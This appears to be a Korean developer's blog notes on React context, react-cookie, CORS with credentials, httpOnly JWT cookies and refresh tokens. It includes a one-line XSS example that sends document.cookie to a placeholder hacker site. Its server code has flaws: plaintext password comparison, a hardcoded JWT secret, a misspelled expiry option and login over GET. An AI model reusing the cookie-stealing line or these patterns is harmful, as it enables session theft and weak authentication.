Next
createContext
- 쿠키를 리코일에 담아 전역적으로 사용하는 방법도 봤지만
createContext
를 활용한 방법에 대한 작성이다. - 마찬가지로 전역적인 상태나 데이터를 관리하기 위해 사용되는 함수로, 데이터를 공유하거나 프로퍼티를 전달하지 않고 컴포넌트 간에 값을 주고받을 수 있다고 한다.
- 컴포넌트 트리의 어떤 깊이에서든 해당 컨텍스트의 값을 읽거나 업데이트 할 수 있다.
1
2
3
4
5
6
7
8
// type
export interface AuthContextProps {
token: string | undefined;
setToken: (token: string) => void;
removeToken: () => void;
}
// const AuthContext = createContext<AuthContextProps|undefined>(undefined);
- 우선 본인은 쿠키에 대한 전역 사용을 할 것이기 때문에 쿠키에 대한 타입만 정의한다.
- 다른 Context 값을 만들어서 필요한 값을 목적에 맞게 작성하면 되겠다.
AuthProvider
React-cookie
를 사용할 것이다.- 쿠키를 사용하기 위해
Provider
를 작성하여 최상위에서 감싸줘야 한다. BrowserRouter
를 사용하는 것과 마찬가지로 모든 컴포넌트에서 쿠키를 관리할 수 있게 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function AuthProvider({ children }: { children: React.Node }) {
const [cookies, setCookie, removeCookie] = useCookies(["token"]);
const setToken = (token: string) => {
setCookie("token", token, { path: "/" });
};
const removeToken = () => {
removeCookie("token", { path: "/" });
};
const authContextValue: AuthContextProps = {
token: cookies.token,
setToken,
removeToken,
};
return <AuthContext.Provider value={authContextValue} />;
}
React-Cookie
- 쿠키에 대한 구조는 아래와 같고 쿠키를 만들고 제거하는 데 옵션을 사용할 수 있다.
1
const [cookies, setCookie, removeCookie] = useCookies(["쿠키이름"]);
setCookie(name, value, [options])
쿠키 값을 설정한다.- name[string] : 쿠키 이름
value(string object) : 값을 저장하고 필요한 경우 객체를 문자열화 - options :
- path(string) : 쿠키 경로, 모든 페이지에서 쿠키에 액세스할 수 있기 위해선
/
사용 - expires(Date) : 쿠키의 절대 만료 날짜
- maxAge(number) : 클라이언트가 쿠키를 수신한 시점부터 쿠키의 상대적인 최대 수명 (초)
- domain(string) : 쿠키의 도메인
- secure(boolean) : HTTPS를 통해서만 접근
- httpOnly(boolean) : 서버에서 설정하는 것으로 서버만 쿠키에 접근할 수 있는지 유무
sameSite(boolean none lax strice) : Strict 또는 Lax 적용
- path(string) : 쿠키 경로, 모든 페이지에서 쿠키에 액세스할 수 있기 위해선
removeCookie(name, [options])
쿠키를 제거한다.- 어디서나 쿠키에 액세스 할 수 있다.
- cookies : 쿠키를 가져오고 제거할 수 있는 쿠키 인스턴스
- allCookies : 현재 모든 쿠키
cors 에러
- 쿠키를 서버와 주고받는 과정에서
withCredentials: true
를 이용하여, 사용자의 인증 정보를 담아 서버에 전송하고 이를 서버에서 원활히 사용하고자 하였는데cors
오류가 발생했다. - 쿠키를 공부하며
withCredentials: true
를 사용 시cors
오류 발생이 불가피하며Access-Control-Allow-Origin
,Access-Control-Allow-Methods
,Access-Control-Allow-Credentials
등의 다양한 옵션을 열어 해결하려 했지만 실패했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// server
app.use(cors());
app.use((req, res, next) => {
res.setHeader("Access-Control-Allow-Origin", "*");
res.setHeader(
"Access-Control-Allow-Headers",
"Origin, X-Requested-With, Content-Type, Accept, Authorization"
);
res.setHeader("Access-Control-Allow-Methods", "GET, POST, PATCH, DELETE");
res.setHeader("Access-Control-Allow-Credentials", "true");
next();
});
// client
export const api = axios.create({
baseURL: "http://localhost:3001",
timeout: 5000,
headers: {
"Content-Type": "application/json",
},
withCredentials: true,
});
- 위 코드로는 문제가 해결되지 않았다.
axios
의withCredentials
옵션값을 끄면 에러가 발생하지 않았는데, 당연히 보안 인증 정보를 담은 통신을 하고자 한다면 옵션값을 켜야 했고 다양한 해결방법을 검색했다.- 다양한 방법을 하나하나 넣어가며 대입한 결과
jwt
를 만들 때, 보안 옵션으로httpOnly: true
를 사용하였는데, 이 옵션은 보안성을 높인 옵션으로, 사이트를 공격하고자 하는 해커가 자바스크립트를 사용해 쿠키를 가로채려 하는XSS
(Cross Site Scripting) 공격을 막기 위해 사용된다.
1
location.href = "http://해커사이트/?cookies=" + document.cookie;
- 위와 같은 코드를 공개된 게시판에 작성할 시, 이 게시물을 읽은 사용자가 알아차리기도 전에 자신의 모든 쿠키를 해커에게 전송하게 된다.
- 옵션을 설정하면 브라우저에서 쿠키에 접근할 수 없도록 제한하며 위에서 말한 공격이 차단되게 된다.
- 이대로만 요청을 보내게 된다면
Request error
가 발생하는 데, 이것을 해결하고자 서버에서 모든 응답에 대한 헤더를 열어주어야 한다. - 위의 서버 코드에서
Access-Control-Allow-Origin
에 대한 와이들 카드는 사용할 수 없고Origin
을 반드시 설정해줘야 한다. cors
미들웨어에 작성할 수 있다.
1
2
3
4
5
6
app.use(
cors({
origin: true,
credentials: true,
})
);
- 정상적으로 작동된다.
클라이언트의 리액트 쿠키
- 쿠키를 사용하고자 리액트 쿠키를 사용했다.
- 서버로부터
jwt
로 만들어 전달받은 쿠키를 리액트 쿠키에 담아 사용하려 했는데, 쿠키값이null
로 표시되는 버그가 있었다. - 사용자의 정보를 전역 상태로 저장하여 사용하는 방법도 있지만, 페이지가 리렌더링 될 때
useEffect
를 사용하여 쿠키가 있는지 확인하고 서버에서jwt
를 사용하여 받은 쿠키에 대한 정보를 복호화해 사용하는 방법을 시도해봤다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// server
const app = express();
app.use(cors({origin: true, credentials: true}));
async function loginUser(req, res, next){
try{
const { id, password } = req.body;
const user = await User.findOne({id});
if(!user) res.status(401).send("일치하는 유저가 없습니다.");
if(user.password !== password) res.status(401).send("비밀번호가 일치하지 않습니다.");
const token = jwt.sign({id: user.id}, "supersecret", {expriesIn: "1h"});
res.cookie("token", token, {httpOnly: true});
res.status(201).send("로그인되었습니다.");
}
}
userRouter.get("/login", loginUser);
// client
api.get("/login").then(res => {
alert(res.data);
setCookie(res.cookie);
}).catch(err => ...);
- 위 코드와 같이 로그인 할 때 일치하는 유저 정보를 찾아, 유저가 존재한다면 쿠키를 보내주는 형식의 코드이다.
cookie
는header
에 담겨 전송되기 때문에 후처리를 할 필요가 없다.- 내가 작성한 코드는, 전송되는 쿠키를 리액트 쿠키에 담아 사용하려 했다.
- 브라우저
Application
에 토큰은 잘 담겨져 있지만 리액트 쿠키에 대한 값은null
을 반환했다. - 우선 서버에서
httpOnly
옵션을 사용하여 전송한 토큰은 클라이언트 측에서 읽기가 불가능하다. - 읽기가 불가능한 값을 리액트 쿠키에 담아 사용하려 했기에
null
을 반환하였고, 쿠키는 요청header
에 담겨 전송되며 자동적으로 브라우저에 담기기 때문에 리액트 쿠키를 굳이 사용하지 않아도 됐다. req
요청에 대한cookie
라는 옵션을 사용하면 클라이언트에서 전송한 요청 헤더에 담긴 쿠키를 자동적으로 읽어내기 때문에 이 값을 사용하면 되는 문제였다.- 서버에서 요청에
cookie
를 읽기 위해서cookie-parser
미들웨어가 필요하다.
- 서버에서 요청에
AccessToken과 RefreshToken
- 사용자가 로그인 함에 따라 서버에서 헤더에
AccessToken
을 담아서 보내줬다. - 브라우저 탭에 들어가면 쿠키를 확인할 수 있는데,
RefreshToken
을 사용하여AccessToken
이 만료되었을 때 자동으로 재발급을 해준다.
- 우선 순서는, 서버에서
AccessToken, RefreshToken
을 보내고 DB에RefreshToken
을 저장한다. - 사용자가 받은
AccessToken
이 만료되었다면, 사용자는 요청을 할 때RefreshToken
을 서버에 보낸다. - DB에 저장된 유저 데이터의
RefreshToken
과 사용자가 보낸RefreshToken
을 비교하여 만약 일치한다면, 사용자가 확인되었기에 새로운AccessToken, RefreshToken
을 보내고 위의 과정을 반복한다.
1
2
3
4
async function refreshToken(req, res) {
// const refreshToken = req.body
// 보류
}